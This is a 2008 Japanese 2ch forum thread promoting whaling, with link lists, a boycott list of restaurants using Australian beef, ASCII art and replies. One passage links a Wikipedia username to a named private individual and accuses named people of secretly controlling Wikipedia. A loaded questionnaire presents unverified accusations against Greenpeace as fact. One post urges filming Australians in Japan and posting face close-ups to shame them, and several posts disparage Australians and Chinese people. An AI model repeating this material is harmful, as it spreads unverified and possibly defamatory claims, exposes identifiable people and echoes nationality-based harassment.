日本の捕鯨が持つ正当性を、対抗動画をもって知らしめようぜ　その８

■捕鯨問題 まとめwiki
http://www14.atwiki.jp/hogei/

【推奨動画】　YouTube - 反捕鯨に物申す　anti anti whaling
http://jp.youtube.com/watch?v=F7ULWnS0jJk

（財）日本鯨類研究所
http://www.icrwhale.org/index.htm
捕鯨問題テンプレ集
http://wiki.spc.gr.jp/whale/
YouTubeリンク集
http://wiki.spc.gr.jp/whale/?YOU_TUBE

★署名のお願い
日本の鯨類捕獲調査を妨害するグリーンピース及びシーシェパードに対する抗議書
http://www.icrwhale.org/syomei.htm


■日本の捕鯨が持つ正当性を、対抗動画をもって知らしめようぜ　その７
http://pc11.2ch.net/test/read.cgi/streaming/1205342381/

ドンドン逝こうぜ、ボイコット AUSSIE！
レージービーフなんか喰えるかってんだ

反捕鯨を表明！居酒屋チェーン・和民（ワタミ株式会社）
http://www.greenpeace.or.jp/press/releases/pr20071221_html

オーストラリア不買リスト
http://www14.atwiki.jp/hogei/pages/16.html
http://wiki.spc.gr.jp/whale/?BOYCOTT_AUSSIE

■■■牛肉料理以外の注文 （豚・チキン・魚料理など） はＯＫ！■■■

100％オージー牛肉使用店
ロッテリア　http://lotteria.jp/faq/index.html
なか卯　http://www.nakau.co.jp/kodawari/food.html
すき家(ゼンショー)　http://www.zensho.co.jp/jp/company/safety/index.html 　牛丼以外（豚丼など）OK
神戸らんぷ亭　http://www.kobelamptei.co.jp/policy.html
サイゼリヤ　http://www.saizeriya.co.jp/foods/foods05.html

オージー牛肉一部使用店（商品ごとの選択不可能）
（）内は併用国、NZ=ニュージーランド
マクドナルド（NZ）　http://www.mcdonalds.co.jp/cservice/information/q_a/q6.html
モスバーガー（NZ）　http://www.mos.co.jp/quality/native/pdf/080115.pdf 　カツ・チキンOK
ガスト（NZ）　http://www.skylark.co.jp/quality/hamburg/kako_niku.html
松屋（米・カナダ）　http://www.matsuyafoods.co.jp/menu/gensanchi.html 　豚めし・肉定食OK（デミたま除く）
サッポロビール園（NZ）　http://taberu-net.com/beer.htm

商品ごとに生産国を選択可能な店
ジョナサン（メニューに記載）　ttp://brand.gnavi.co.jp/jonathan/brand_m.htm　
しゃぶしゃぶどん亭　ttp://www.don-tei.jp/quality/dontei_gensanchi0709.pdf
ペッパーランチ　ttp://www.pepperlunch.com/menu/menu_01.html
牛角　ttp://www.reins.co.jp/traceability/index.html

鯨肉が食える・買える店リスト
http://wiki.spc.gr.jp/whale/?WHALE_MEAT

Sasuke氏の動画はこのスレの旗印ですから【推奨動画】にもどしましょうよ。
彼の行動から始まったと言っても過言ではないのですから。

Racist Australia and Japanese whaling 白豪主義オーストラリア
http://au.youtube.com/watch?v=b7dmXwB8LBA

オーストラリアのすべて - 環境破壊 南極 クジラ Racist Australia
http://jp.youtube.com/watch?v=zHhsnqQXXVQ

【捕鯨】豪国営テレビABC 「日本人殺害予告」発言
http://society6.2ch.net/test/read.cgi/mass/1202374611/

在オーストラリア日本大使館の敷地内で、
在オーストラリア日本国大使の上田秀明特命全権大使（当時）に対し、

「私達が研究目的に日本人数人を殺すことに賛成しますか？」
「日本人を数人殺せれば、もっと日本人を理解できる。」
「近々、日本人が危険にさらされるかもしれない。」

などと、リポーターが日本人を殺害予告する発言をした映像を、
オーストラリアの公共放送局である、オーストラリア放送協会（ABC）が放送していたことが明らかになった。
また、この後の街頭インタビューでも、同リポーターが通行中の日本人達に対し、

「研究目的にあなたを殺してもいいですか？」
「銛で殺されてみたい？」
「死ななかったね。どうやって研究できるんだ。」

などと発言していた。

■YouTube
　Racist Australia and Japanese whaling　（日本語字幕版）
　http://www.youtube.com/watch?v=pZMZmNZov2g
　The Chaser's War on Everything - Japanese Research　（オリジナル版）
　http://www.youtube.com/watch?v=zduXrLTIc6Q

　論争必至豪のTVが過激反捕鯨に"応援"の衝撃映像
　http://www.youtube.com/watch?v=BIbWVt2cQvQ

テキサス親父：シーシェパード編
http://au.youtube.com/watch?v=4U27EtmiRRA
テキサス親父：グリーンピース編
http://jp.youtube.com/watch?v=6r4tkrA-rRI
テキサス親父　緑豆に爆弾発言！　ありがとう日本！！
http://www.youtube.com/watch?v=xz_49X9ppJ8
Racist term for Japan used by idiots
http://au.youtube.com/watch?v=9MJs4NZd98k


テキサス親父：シーシェパード編(日本語訳）
http://jp.youtube.com/watch?v=ETaHPEjSYQA
テキサス親父：グリーンピース編(日本語訳）
http://jp.youtube.com/watch?v=Gy9PkuzmIWU
テキサス親父　緑豆に爆弾発言！　ありがとう日本！！ (日本語訳)
http://www.youtube.com/watch?v=j5vayLd6BTc
テキサス親父 オージーの人種差別を暴く！ Anti-whaling based on racism
http://au.youtube.com/watch?v=qF_84nv9jmc

　_!_　 /　　　　/　　　　　　　　　　　　　　　　　　 ＼　|
　 !.　/　　　　/　　　　　　/　 /|　　 ! 　 　 　 　 　　 ',.|　　　覚えてね ♪
　　 /　　　　/　/　　/　 /　./　!　　 ｉ　　　　　　　　　||
.　 /　　　　 |　 ｉ　　厂｢　Ｔｉト ､|　　 |!　　　 !　　　 !　| ￣￣￣￣￣￣￣￣￣￣￣￣￣￣
　/ｲ　　　/`!　 |　/斗ｚ=ﾃﾐ.　　| !　 |ヽ　　　!　.　　!　|　調査捕鯨の イ イ ハ ナ シ！
　　|　　　|　|　 .! ﾊ| ん::::::|　　　ヽ　 |　Tﾄ､　|=|　　!　|
　　|ﾊ　　ヽ_|ﾊ ﾚ'　 Ｖｒ少　　　　　Ｖ.xくV　∨/ 　/　/　調査捕鯨はミンククジラの分類に
∧　　�W!　〉 ﾊ !　　:::::　　　　　　　/::/.八 //　　 ／ 　役立っているの♪
|　Ｖ⌒ く /　　 ',　　　　　　　　　､〈ﾂ ｲ/ /,　　／
＞ｒ‐ｒ‐‐ｆ. 　 　　'　　　 ヽ、　　　 ' :::: /イｲ ／　ミンククジラ（北半球）とクロミンククジラ（南半球）、
　 .!　|::::::! 　 　 　 ヽ　　　 ｀　　　　ィ　　 ﾚ'　　 そしてドワーフミンククジラは、調査捕鯨をするまで
　　!　!:::::::!　　　 ／| >､_,. 　-ｒ ｆ爪/　　　　　　　一種とされていたのよ。
　　!　!:::::::::!ヽ、/＼:::＼ヽ＿,.イ
　　|　|:::::::::|　　　　|:::::::::＼__.ノ　　　　　　シーチキンさんもグリピーさんも、ミンククジラの見分けが
　　|　|:::::::::|　　　　|:::::::::::::::::}|`ー-.､　　　出来なかったんですって。
　　|　L::::::::|≠=ｚ_/::::::::::::::://　　/ |　 　　南極海まで行って、なにして遊んでたんでしょうね？
　　　　　　　　　　　　　　　　　　　　　　　　そう言えば黄色い○ッ○○○○ってものがあるって───
調査捕鯨がクジラを救う！
http://wiki.spc.gr.jp/whale/?WHALE_RESEARCH
http://wiki.spc.gr.jp/whale/?ECO_TERRORIST

ウィキペディアではグリーンピース関係者が暗躍している。その活動を知るには、各ページの「履歴・ノート・ノートの変更履歴」を見れば良い。
グリーンピース (NGO)・シーシェパード・捕鯨問題などのページで、Nekosuki600なる者が活発に編集していることが分かる。

Nekosuki600は、JCA-NET常任理事の茂木紀行と同一人物である。
茂木紀行は2chでは「猫が好き♪」のハンドルネームで知られる反捕鯨活動家で、「グリーンピース・ジャパンの1993年・1994年の国際捕鯨委員会担当のサポートスタッフ」であった経歴がある。
また、1996年にIWC国際捕鯨委員会で配布された「捕鯨の町の未来のために〜捕鯨産業に蹂躙された町、鮎川〜」は、茂木紀行の手によるものである。
ウィキペディアでは中立の観点からの編集が建前だが、ウィキペディア日本語版を事実上掌握するAphaiaこと木津尚子によって、管理者や一部特定ユーザーによる偏執的な編集は黙認されている。
実質的にウィキペディア日本語版は左派活動家の巣窟となっており、グリーンピース関係者のNekosuki600(茂木紀行)が堂々と反捕鯨関連ページで活動しているのを黙認されているのは、こうした事情によるものである。
ウィキペディアではグリーンピースやシーシェパードに都合の悪い情報はNekosuki600によって削除されており、これら有用な情報を得るには「履歴・ノート・ノートの履歴」をクリックして過去の版を閲覧する必要がある。

Nekosuki600による、豪大使館プレスリリースの隠蔽/2008年1月12日 (土) 11:15
http://ja.wikipedia.org/w/index.php?title=%E3%82%AA%E3%83%BC%E3%82%B9%E3%83%88%E3%83%A9%E3%83%AA%E3%82%A2&diff=17321030&oldid=17316979
「ノート・捕鯨」にて、豪プレスリリースを隠すため延々と議論をくり返すNekosuki600
http://ja.wikipedia.org/w/index.php?title=%E3%83%8E%E3%83%BC%E3%83%88:%E6%8D%95%E9%AF%A8&oldid=17317279

茂木紀行(猫が好き♪)の自己紹介　ttp://fenv.jp/20030331/slfintro.html
JCA-NET役員一覧　ttp://www.jca.apc.org/jca-net/board/officials/2003-2004.html
捕鯨の町の未来のために〜捕鯨産業に蹂躙された町、鮎川〜　ttp://fenv.jp/archive/ayukawa-report/index.htm
死人が最高責任者？ウィキペディア日本語版の黒い事情　http://news21.2ch.net/test/read.cgi/dqnplus/1181296577/

グリーンピースについてのアンケート

Ｑ１，あなたはグリーンピースがFBIによって、国内テロリズム団体として監視されて
　　　いることを知っていますか？
Ｑ２，あなたはグリーンピースが1991年に、駐東独ソ連将校からスカッドミサイルの
　　　核弾頭を購入しようとしたことを知っていますか？
Ｑ３，あなたはグリーンピースが英サフォーク州とシドニー郊外にある原発を
　　　一時占拠したことを知っていますか？
Ｑ４，あなたはグリーンピースに軍事訓練を受けた活動家がおり、騒動を引き起こし
　　　ていること、そしてハンブルグ裁判所が「争う余地のない真実である」と認めた
　　　ことを知っていますか？
Ｑ５，あなたはグリーンピースが使用したプロパガンダ用の映像の中に、猟師を
　　　雇ってカンガルーを虐待させた捏造映像が含まれることを知っていますか？
Ｑ６，あなたはグリーンピースが最も危機的であるヨウスコウカワイルカの保護に
　　　何のアクションも行っていないことを知っていますか？
Ｑ７，あなたはグリーンピースがミンククジラの知識に乏しく、多くの情報、特に
　　　ドワーフミンククジラの情報について、調査捕鯨により得られた科学データに
　　　依存していることを知っていますか？
Ｑ８，あなたはWikipediaの捕鯨関連記事の主要な部分に、グリーンピースシンパの
　　　活動家が係わっていることを知っていますか？
Ｑ９，あなたはグリーンピース・ジャパン理事長の海渡雄一の妻（事実婚）が、
　　　社民党党首の福島瑞穂であることを知っていますか？
Ｑ10，あなたはオーストラリアのピーター・ギャレット環境相がグリーンピース出身で
　　　あることを知っていますか？


http://wiki.spc.gr.jp/whale/?GREENPEACE
http://wiki.spc.gr.jp/whale/?ECO_TERRORIST
http://wiki.spc.gr.jp/whale/?WHALE_RESEARCH

.
　　　　　　うンめぇ〜
　　　　　　　　　　　　　　　,...-ｧ:７:.:/.:.:.:.:.:.:.:.:.:＼-...、　　　　　　　なあ、鯨ってウマイよなー？
　　　　　　　　　　　　　 ／／:.:./ ./ 　 　 :ヽ.:.:.:.:.:ヽ､＼
　　　　　　　 　 　 　 ／ /　　.//..!................. |....l　　 l:＼＼　　　　　鯨肉は高蛋白・低脂肪・低カロリー、
　　　　　　　　　　　/　...:.:./:.:.,|.|i:.|.:.:.:.:.:.:.:.|.:.|:.:.:l.:.:.:. |:....ヽ:.ヽ.　　　　コレステロールも低くて
　　　　　　　 　 　 /.:.: i .:.:l:.:/ |:|l|:{.:. :.:.:./ |:.ﾊ:.:.|.:.:.:.:|.:.:.:.:|:.:. i=.､　　若い女子にも優しい食べ物なんだ。
　　 　 　 　 　 　 /:.:/.:|:.::ｲ:.l　j;ﾚ{:::..:.:::/ヽj/　}:.ﾄi:.:.:.|.:.:.:.:l:／|: i|
　　　　　　　　　 l.:./ :.:|斗lヒ´　{ �Y:ノ　 /'｀`T7T:.:.:}.:.:.:.:|:.:/|,:.l|　　鯨ベーコンにはDHAやDPAが豊富だぞ〜
　　　　　　　　　 |:l| :.ハ.:| r＝ミ､　＼　r=＝ﾐjz j:.:./.:.:.:.:.l./:ｲ:.:l|　　動脈硬化を防ぐDPAは魚の１０倍、
　　 　 　 　 　 　 l{|:.:l:小:{／/／　　　　／/／ /.:/:.::.:.:.:.l:ノ:ﾘ.:.l|　　ゴマ油を加えた鯨ベーコンチャーハンは
　　　　　　　 　 　 |:.:|.:.|:.:ﾄ　　　　'　　　 　 　 /イ.:.:::.:.j:.ﾘ.::./::.:.l|　　高血糖予防にお勧めだ！
　　　　　　　　　　 �Y!:.!: {　　 　 ノ'ｰ-　 　 ノ' /ｲ.::.:./}/:.:ｲ:::.:. l|
　　　　　　　　　　　ヽ�Y人　　　{　　ﾉ　　　 ／/.::.:/ｲ／｜::.:.:.l|　　赤肉はミディアムレアが最適。
　　　　　　　　　　　　 ﾄヽ:.:l＼　 ｀¨´ 　 　 　 /:::.:/ﾌ'´ 　 |::::.:.:.l|　　バレニンが体脂肪を燃やす上に
　　　　　　　　　　　　 |!:. ヽ{　 ヽ.. ＿　.　＜/:ｲ/ ｀j}　 　 |::::..　l|　　疲労予防にいいぞ、
　　　　　　 　 　 　 　 |!..:|!:| ＼ 　 |　　 　 ノ' /'| 　 ′　　|::::::.:.:l|　　卸生姜を忘れるな！
　 　 　 　 　 __　　 　 |!.:.ﾘ:.!　　,ィﾌ　　 　 　 　 {ヘ、　 　 l:::::::.:: l!
　　　 　 , -く__},.--‐ｧﾘ:./:/_,.イ {´　　　　　　　／ ﾉ｀ ｰ- .|_::::::.: l|
　　　 r/　 ／｀Y￣ /:ノ‐'´ 　 ヽ＼＿＿ｰ_ｧ'´ ／　　　　　 ｀¨ ﾐ:l
　　　　　↑鯨の尾肉の刺身(霜降り)　http://www.rakuten.co.jp/nichigeishoji/655819/655833/655867/

　　　　　　　　　　　　　　　　　　 ＿ ／イ´.:.:´:.:.:.:.:.:.:.:.:.:.:ト､＼　　　　　　>>11の続きだぞ〜〜！
　　　　　　　　　　　　　　　 　 ／..././:.:...../.... /.　　 / 　 |:.:.:.ヽ＼
　　　　　　　　　/⌒ヽ. 　 　 /.:.:.:/:/./:.:.:/.:., ｲ:.:/.:.:/.:....l. |　 |　l　iヽ　　　旨み成分カルノシンは認知症予防に有効、
　　　　　　　　 i′　 ｜　　/.:.:.イV.:.|:.:./.:./　!:.:|.:.:.:.:.:.:./:.ｲ:.:.:|.. |　l |　　　治療薬として申請中なんだぞ〜！
　　　　　　 　 ｜　 　 l 　 /:.:./.:|.:l.:.:.|.:.:|:./＼|:/|:.:./:.:.ｨ:/｜:./:.:.|.:.l|.ト､
　　　　　　　　｜　 　 |　/.:.:/:.::;!:|.:.:.|:/j/,ニﾐ!ﾄ �Y:.//　_.レ'}.:.:.l.:.:l.ハ!　　南氷洋のクロミンクは清潔、
　 　 　 　 　 　 } 　 　 ∨.:./:.:::ハ|.:.:.|{ ﾍ.ﾋz:ﾂ 　 }/ブ三ﾐl'　!:.:/:.:.ﾘ:.:.l|　　鯨は汚染されてるなんて嘘に騙されるな！
　　　　　　　,.. ┴--　._ ∨.:.::/　 |:l:小　　　 　 　 　 ﾋz:ﾘ }/:./:.:.:/|:.:.l|
　　　　　 ／　　　　　　 ヽV/　　ﾊ|.:.ﾄヽ　　　　'　　　　 ´ﾉイ.:.:./|:|:.:.l|
　　 　 ／　　　　　 ＿　　 }ヽ.＿　ヽ:{,>､　 ｀ 　 一 　 ／/ﾉ:// /.l.:.:.l|　　もう鯨を喰えないなんて勘弁しろよ〜
　　　 { 　 ー‐ ¨￣　　￣｀ヽ|＼ヽーヽﾉ ＼ 　 　 　 _. イ/ィ/´ i.::.l.:.:.l|
　　　 j　　　　　　　　　　　 |j　 ヽ.ヾ　 ＼　｀¨¨丁}}　 ノ´　　　|.:.:.:.:.:l|　　ってことで、
　 　 /　　　　　_..　-――‐ﾍヽ　 l＼ヾ　 ヽ、　 ,｢＼　　　　　 i!.:.l:.:.:.l|　　ねらーのみんな頑張ってくれ。
　 　 ヽ　　　　　　　　　　 　 } }　 l　 ヽヾ　ﾍ`ヽrl 　ﾊ 　 　 　 |.:.|..　.l|　　ヨロシク頼んだぞ〜〜！
　　　　ヽ　 　 　 　 .. -‐ ¨￣i′　!　　 ヽヾ ﾍ￣`|　 /｀ヽ.　　i!.:.i:.:.:.:l|
　　　 　 /ヽ.　　 　 　 　 ／　 ／　　　　 ∧ l. |／::::::::／ /ヽ |.:.:l:.:.:.:.l|

鯨食ラボ　http://www.geishoku-labo.co.jp/whale_meat_1.html
太地から鯨肉をあなたの食卓へ　http://www.simetani.com/omoikkiri.htm
ボイコット AUSSIE〜 - 鯨肉　http://wiki.spc.gr.jp/whale/?WHALE_MEAT

[DragonBall] Freezer VS Japanese whaling　フリーザ様が捕鯨に怒っています v4
http://jp.youtube.com/watch?v=HdUPHXNPVR4

"Eco-Terrorist" Sea Shepherd and Australian Media
http://jp.youtube.com/watch?v=tGTjXbdMyS4

Racist Australia and Japanese whaling
http://jp.youtube.com/watch?v=pZMZmNZov2g

Hypocrisy: People profiting from the whaling problem
http://jp.youtube.com/watch?v=xWYOJYEOvSk

IWC総会 反捕鯨国の偽善
http://jp.youtube.com/watch?v=WpAzzJiWgO8

超人大陸ライブラリー http://www.choujintairiku.com/library/
ＩＷＣ　REPORT http://www.choujintairiku.com/iwc/
血液サラサラ超人食クジラ http://www.choujintairiku.com/kujira/index.html

【ヨウスコウカワイルカ】

..　　　　　　　 　　, '´l,　　
　　　 　　　, -─-'- 、i　　 　　　　　　苦しいよう 、水が汚いよう
　　　 ＿_, '´　　　　　　　ヽ、　 　
　　　',ー--　●　　　　　　　ヽ、　　　キレイな揚子江を返してよ
　　　 ｀"'ゝ、_　　　　　　　　　 ',　
　　　　　　〈｀'ｰ;＝=ヽ、〈ｰ- 、 ! 　　　どうしてシーシェパードは
　　　　　　 ｀ｰ´　　　　ヽi｀ヽ iﾉ
　　　　　　　　　　　　　　　 ! / 　　　　共産党に抗議してくれないの？
　　　　　　　　　　　　　　r'´、ヽ
　　　　　　　　　　　　　　　　　　　　ボ　ク　、ま　だ　、　生　キ　テ　ル　の　に　・　・　・


ヨウスコウカワイルカは2007年8月19日に生息を確認できる動画が撮影され、
再調査が計画されています。
http://wiki.spc.gr.jp/whale/?ECO_TERRORIST

うぉおおおおお、重複しちまったぜ！
俺の方が若干遅かったか！？

日本の捕鯨が持つ正当性を、対抗動画をもって知らしめようぜ　その８
http://pc11.2ch.net/test/read.cgi/streaming/1206288748/

　　　　　　　　 ／: : : : : : : : : : : : : : : : : ｀丶､
　 　 　 　 ／ : : : : : : : : ‐- : :､: : : : :ヽ: : : : ＼ 　　約束したじゃないですか、
　 　 　　 { ￣: : : : : : : : : : : : : : :ヽ、: : : ﾍ: : : : : ヽ
　 　 　 ,.ﾍ: : : : : : : ｀丶 : : : : : : : : `く／ ﾍ: : : : : :', ヨウスコウカワイルカを
　　　　 /: : ヽ: : ＼: : : : : ＼: : -―: : : :`く: : '.,: : : : :l
　　 　 ,': {: : : ＼: : :ヽ､: : : : :＼ｰ‐､: : : :ヽ:＼: ヽ : : :| 　　三峡ダムから守ってくれるって…
　 　 ｌ: :l : : : l　＼: : : ＼‐=V弋芝圷＼: ＼l＼l : : :|
　 　 |: :l: :: : {xく´_＼｀ヽ:ヽ　　 Vﾍソ　　|: : |: : }: :./ｉ
　　 　 l: :l:ヽ : ヽ仗圦　　＼　 　 ゞ''´ 　 ﾉ: /l: :ハ/　　　 ､ﾉN
　　　　ヽﾍ: :＼ ヽVﾍ:}　　　　　　　//　　j/-j/ 乂　　　　ﾉ: :j 　　共産党政府、
　　　　　丶＼: ヽ: ゞ'' ､　　 　 　 　 　 　 ﾊ! : : :ヽj､_,ヘﾍi彡'
　　　　　　　　｀ヘ＞　　　 -　'　　　　　/　V廴V-へ∠`´__ 　　　　　怖いんですか？シーチキンさん…
　　　　　 　 　 　 　 ヽ､_　　 　 　 　 ／　　 ヽ/￣／　'⌒ヽ ｀丶
　　　　　　　　　　　　＼ミ､ｰ:-　-イ　　　　／ ／ ／　　　 ヽ　　＼
　　　　　　　　　　　　　 ヽ:八{＼少} 　 　 /　/ ／ 　 　 　 　 ∨　　＼
　　　　　　　　　　　　　　'′_＞'　/’　__,/　/ /　　 　 　 　 　 |　　　　＼
　　　　　　 　 　 　 　 　 ,イ　　　/、 ´／　/´　　　　　　　　　 |　　　　　 ＼
　　　　　　　　　　　　　/l│　　/ __／ 　 /　　　／　　　 　 　 |　　　　　／
　　　　　　 　 　 　 　 /│|　　/V / 　 ／　　／　　　　　　　　|　 　 _／
　　　　　　　　　　　 ││{　 / /Ｖ　／　　r'´　　　　　　　　　ﾉ¨￣´
　　　　　　　　　　　　|　ﾍ ∨　∨￣￣/　 }　　　　　　　　　/

ヨウスコウカワイルカを救わないエコテロリスト
http://wiki.spc.gr.jp/whale/?ECO_TERRORIST

.,' . : : ; .::i'ﾒ､,_　　i.::l　';:.: l '､:.:::! l::!　: :'､:i'､: : !, : : : : : :l:.'､: :
'! ,' . : i .;'l;'　_,,ﾆ';､,iｿ 　'; :l　,';.::! i:.!　　: '､!:';:. :!:. : : : :.; i : :'､:
i:.i､: :｡:!.i.:',r'ﾞ,rf"`'iﾐ,`'' ﾞ ';.i　`Ｎ,_i;i＿__,,_,'､-';‐l'i'':':':':‐!: i : : '、
i:.!:'､: :.:!l :'ﾞ iﾞ:;i{igil};:;l' 　 ヾ!　 'i : l',r',ﾃr'‐ミ;‐ﾐ';i:'i::. : i i i : : :i
:!!ﾟ:i.'､o:'、　ﾞ､::ﾞ''".::ﾉ　　　　　　　　iﾞ:;:li,__,ﾉ;:'.､'､ :'i:::. i. !! : : !:
.' :,'. :ﾞ>;::'､⊂‐ﾆ;;'´　　　　　　　 　 '､';{|llll!: :;ﾉ　! : !::i. : : : : i : 　シーシェパードの臆病者！
: :,'　/. :iヾ､　　　｀　　　　　　　 ､._. ミ;;--‐'´.　　/.:i;!o: : : :i :
: ; : ,' : : i.:　　　　　　<_　　　　　　 ｀ ' ' ｀｀'‐⊃./. :,: : : O: i. : 　クジラのこと好きなんだろ、
: i ,'. .　: :',　　　 　 ､,,＿　 　　　　　　　　　　,.:': ,r'. :　, : : !: :..　支援者からカネ貰っちゃってんだろ？
:,'/. : : . :;::'､　 　　 ﾞ|llllllllllllF':-.､　　　　 　 ,r';､r':　. : :,i. : ;i : 　　米空母や中国がなんだってんだ、
i,': : : :.::;.'.:::;`､　　　 |llllH". : : : :｀､　 　 ,rシｲ...: : ; : :/:i : i:!::i: 　戦って来いよ！！
;'. : :..:::;':::::;':::::`.､　　|ｿ/. : : : : : : ;,!　,／'ﾞ. /.:::: :,:': :./',:!: j:;:i;!;　　このシーチキン野郎
i. : .:::;:'i::::;':::::::::i::`:.、;ﾞ､';‐ ､,;__;,／ﾉ　　. :,/.:::: :/. : :/.:::i. j:;;;;;;;;
l .:::;:'::;':::;':::::::::::i::::i::`:,`'-二'‐-‐''ﾞ_,､-.':ﾞ/.:::: ;ｨ': : :/.:::::i: j､;;;;;;;
.:::;:':::;':::;'::::::::::::::i:::i:::::..｀'‐､､､-＜ﾞ.::::::::/.::: ://. : /.:::::::i :j::.'､:;;;

グリーンピースおよびシー・シェパードは、
クジラを傷つける者、環境を汚染する者、
遺伝子操作した食品を販売する者と戦います。
但し、次のものを除きます。

米海軍、中国政府、ロッテ



【国際】ブッシュ大統領、国家安全保障はクジラの保護に優先する
http://news24.2ch.net/test/read.cgi/wildplus/1201257977/

ヨウスコウカワイルカを救わないエコテロリストども、
ミンククジラの見分けも出来ない役立たず！
http://wiki.spc.gr.jp/whale/?ECO_TERRORIST

新スレ作成用テンプレート集
http://www14.atwiki.jp/hogei/pages/34.html

こんなに幾つもテンプレ貼ったの初めてだわｗ

オーストラリアにあれこれ言われるのはウザイけどさ
実際のところ、鯨なんて食わないし不味いし、どうでもいいよな。

反捕鯨に乗せられた連中が、ここにも来てるとは。
必ずいるよね、欧米の流行に乗っかる奴が。

前スレの992さん、どうも。
それって、アップし直されたってことですか。
なんか閑散としてるし。前の熱気はどこへやら。

早いほうから使うか

What's so special about whales?
http://jp.youtube.com/watch?v=Iu3aZ_Uy-14

>>13
究極の釣りＷ

>>20
何て言ってるか分かる？

>>17
実際のところ、ちゃんとした料理店で鯨を食えば二度とそういう事は言えなくなると思う。
赤身の刺身の何と美味いこと。ステーキの何と柔らかいこと。
さえずりの弾力のある食感の何と不思議なこと。
あれを食べたことが無いとしたら可哀想だと思う。

あ、でも給食のガチガチに硬い竜田揚げも「それはそれ」で好きだったな。

>>22
あれ、これ>>20はニコニコにあるのとは別なの？

調査捕鯨の鯨肉の日本持ち込みはワシントン条約違反
http://www.greenpeace.or.jp/press/releases/pr20080321_html
――グリーンピース、無許可の鯨肉運搬船の緊急調査を要求

【東京】南極海で日本の調査捕鯨母船・日新丸から鯨肉を受け取ったパナマ船籍のタンカー船オリエンタ
ル・ブルーバード号は、近日、日本の港に鯨肉を積み降ろすと見られている。パナマが批准済みの「絶滅
のおそれのある野生動植物の種の国際取引に関する条約」（以下、ワシントン条約）に掲載されているミ
ンククジラの輸出入に関し、同船が許可を得ていないことがグリーンピースの調べにより判明した。同船
の運行を担当する日本の大東通商株式会社（本社東京都千代田区）はグリーンピースの問い合わせに対し
回答を拒否している。本日、グリーンピースは同船が日新丸より積み荷の鯨肉を受け取り、また日本の港
で荷降ろしすることはワシントン条約に違反している可能性が高いとして、パナマ大使館、および税関を
管轄する経済産業省に対し同船の緊急調査を要請した。

パナマ及び日本の両国はワシントン条約を批准している。この条約は希少な野生動植物の商業的な国際取
引を規制するもので、その附属書Iにミンククジラ（Balaenoptera bonaerensis）が「絶滅のおそれのあ
る種で取引により影響を受けるもの」として掲載されている。日本はミンククジラに関する項目を留保し
ているが、パナマはすべてのクジラ種を含む同条約を批准しているため、ミンククジラを許可なしに輸出
入することはできない。

南極海で“調査”の名のもとに捕獲されたミンククジラは、日新丸船上で“調査”後すぐに解体され、販
売用に箱詰めされる。今年1月22日、販売用に箱詰めされた鯨肉が日新丸からオリエンタル・ブルーバード
号へ運び込まれるのを、グリーンピースのキャンペーン船エスペランサ号とオーストラリアの税関巡視船
オセアニック・バイキング号が目撃している。
パナマ船籍であるオリエンタル・ブルーバード号は、ワシントン条約に則り、附属書Iに掲載されているミ
ンククジラの輸出入に関してパナマ政府の事前許可が必要とされるが、今月19日パナマ政府にグリーンピ
ースが問い合わせたところ、同船にはこれまで一度もその許可書が発行されていないことが明らかとなっ
た。

「日本政府による水産資源無償援助金を使った票買いの疑い（注1）があるなかで、調査捕鯨存続のために
新たな違法行為が行なわれている可能性が出てきた。パナマ政府と日本政府は協力して早急にこの件を調
査すべき」とグリーンピース･ジャパン海洋生態系問題担当部長の佐藤潤一は語り、「日本政府は正当性と
必要性に欠ける南極海の調査捕鯨を見直し、環境立国を謳うG8ホスト国としてさらに環境保全の責任を果
たす強い姿勢をしめすべき」と結んだ。グリーンピースはまた、パナマ大使館と経済産業省にたいし、違
法性に関する調査期間中は同船からの鯨肉の積み降ろしを許可しないよう要請している。同要請書を海上
保安庁へ送付すると同時に、スイスのワシントン条約事務局へも調査を要請する予定。

ありがとう。スレ立ててくれた人とみんなに贈り物

エガちゃんがギャレット豪環境相と共演したようです。
http://jp.youtube.com/watch?v=VzcVGp_KP4M
（ミッドナイト・オイル時代のギャレット氏と江頭2:50の夢のコラボレーション）

Anti whaling and Australian nationalism 豪州の反捕鯨とナショナリズム
http://jp.youtube.com/watch?v=XlxFjcCmvr4
Truth about Japanese scientific whaling 日本の調査捕鯨
http://jp.youtube.com/watch?v=HTu4VQmeLTE
��Anti-whalers' double standard!!"from kangaroo カンガルーから反捕鯨論者へ
http://jp.youtube.com/watch?v=MhM2FmbSGsk

コメント欄押されてるので、英語ができる方支援お願いします。

>>1
国際捕鯨条約の不履行に加え>>25-26ワシントン条約違反

日本捕鯨のどこに正当性が？ｗ

>>27
エンコード失敗したので、ニコニコにうｐし直しました。orz
エガちゃんがギャレット豪環境相と共演したようです
http://www.nicovideo.jp/watch/sm2767188

やべぇ、ほかに立てる人が居たのか
よく確認してなかったわ

>>27>>30
ありがたく、頂く

＞＞２０
だんだん外国でも『クジラ教』のおかしさに気づく人が出て来たね。

What's so special about whales?
http://jp.youtube.com/watch?v=Iu3aZ_Uy-14

>>28
＞コメント欄押されてるので、英語ができる方支援お願いします。

そんな子供っぽいことで勝って何になる？

さて、今、北海道のニセコや長野県の白馬の土地を次々に買い占めているオージー達が
いる。彼等はペンションやオージー相手の店舗などを展開しているわけだが.........
まあ、金の力には敵わないのだからしかたがないが、もしも目に余る態度や悪さ、
日本人をおちょくったようなことをしたら、即携帯で動画を撮ってようつべにUPしてやってくれ。
マナーのある奴、日本が本当に好きな奴には優しくしてやるのは当然だが、昔の植民地に
おける白人の優越的な態度だったら懲らしめてやるべきだろう。
顔アップ動画をさらしてやって、母国に返してやろう。

恐ろしい事ですね。
現在「オーストラリア」と呼ばれた大陸にはかつて一人の白人もいませんでした。
それが入植者が増えるに従って虐殺が起き、今では元々の大陸の主達は少数派です。
その蛮行をはたらいた民族が今は日本に入植を開始したという事です。

　【（｀ハ´）中国人の】中国擁護書き込み全般＾＾；【(・∀・)ジサクジエンでした】
　最近２ちゃんねるに日本語での中国擁護書き込みが多いですが・・・さて
　２ちゃんねるドメインへのアクセス履歴を見ましょう。
　ソース：　http://alexa.com/data/details/traffic_details/2ch.net

　２ちゃんねるサーバは米国にあります。よって本来米国が2位にくるはずですが・・・・・

　2ch.net users come from these countries:
　Japan87.4%

　China5.7%　　<-----

　United States1.0%

　☆２ちゃんねるにて中国人が情報工作している証拠です＾＾；

245 名前：名前は開発中のものです 投稿日：2008/03/25(火) 01:54:28 ID:X2mJ9nvk ?2BP(22)
こいつらWikipediaに報告した方が良いんじゃないか？

Uniontour　利用者の投稿記録
http://ja.wikipedia.org/w/index.php?limit=50&title=%E7%89%B9%E5%88%A5%3AContributions&contribs=user&target=Uniontour&namespace=&year=&month=-1

